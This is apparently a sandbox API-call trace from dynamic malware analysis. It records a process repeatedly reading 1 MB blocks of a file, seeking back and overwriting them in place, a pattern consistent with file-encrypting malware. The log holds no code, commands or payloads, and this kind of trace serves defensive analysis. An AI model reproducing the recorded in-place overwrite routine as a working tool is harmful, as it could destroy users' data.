	[0099.313] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0099.318] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0099.324] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0099.337] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0099.341] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0099.341] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0099.343] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0099.347] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0099.355] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0099.371] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0099.449] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0099.453] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0099.453] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0099.455] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0099.459] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0099.470] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0099.479] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0099.498] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0099.502] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0099.503] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0099.505] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0099.508] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0099.529] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0099.540] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0099.560] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0099.563] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0099.563] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0099.565] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0099.569] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0099.576] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0099.583] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0099.597] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0099.600] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0099.600] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0099.602] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0099.605] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0099.612] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0099.622] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0099.641] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0099.645] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0099.645] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0099.647] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0099.650] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0099.656] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0099.661] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0099.675] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0099.679] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0099.679] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0099.736] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0099.738] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0099.747] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0099.753] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0099.763] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0099.767] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0099.767] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0099.768] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0099.772] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0099.780] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0099.786] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0099.802] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0099.806] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0099.806] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0099.808] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0099.812] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0099.817] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0099.827] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0099.840] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0099.842] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0099.843] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0099.844] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0099.847] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0099.852] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0099.857] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0099.867] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0099.870] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0099.870] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0099.873] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0099.876] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0100.907] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0100.913] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0100.926] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0100.930] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0100.930] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0100.933] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0100.945] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0100.996] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0101.001] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0101.012] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0101.015] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0101.015] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0101.016] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0101.019] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0101.028] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0101.036] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0101.053] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0101.057] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0101.057] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0101.058] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0101.062] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0101.067] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0101.073] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0101.086] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0101.089] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0101.089] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0101.091] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0101.094] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0101.102] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0101.111] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0101.133] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0101.135] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0101.136] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0101.137] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0101.140] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0101.146] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0101.151] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0101.162] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0101.165] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0101.165] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0101.167] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0101.170] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0101.177] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0101.186] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0101.206] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0101.210] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0101.210] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0101.211] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0101.214] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0101.219] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0101.224] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0101.234] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0101.237] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0101.237] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0101.239] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0101.241] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0101.249] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0101.267] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0101.278] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0101.281] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0101.281] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0101.283] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0101.285] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0101.290] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0101.295] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0101.306] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0101.309] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0101.309] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0101.310] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0101.313] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0101.328] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0101.337] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0101.350] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0101.353] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0101.353] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0101.354] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0101.357] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0101.362] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0101.367] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0101.378] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0101.381] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0101.381] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0101.383] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0101.385] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0101.394] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0101.409] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0101.423] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0101.426] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
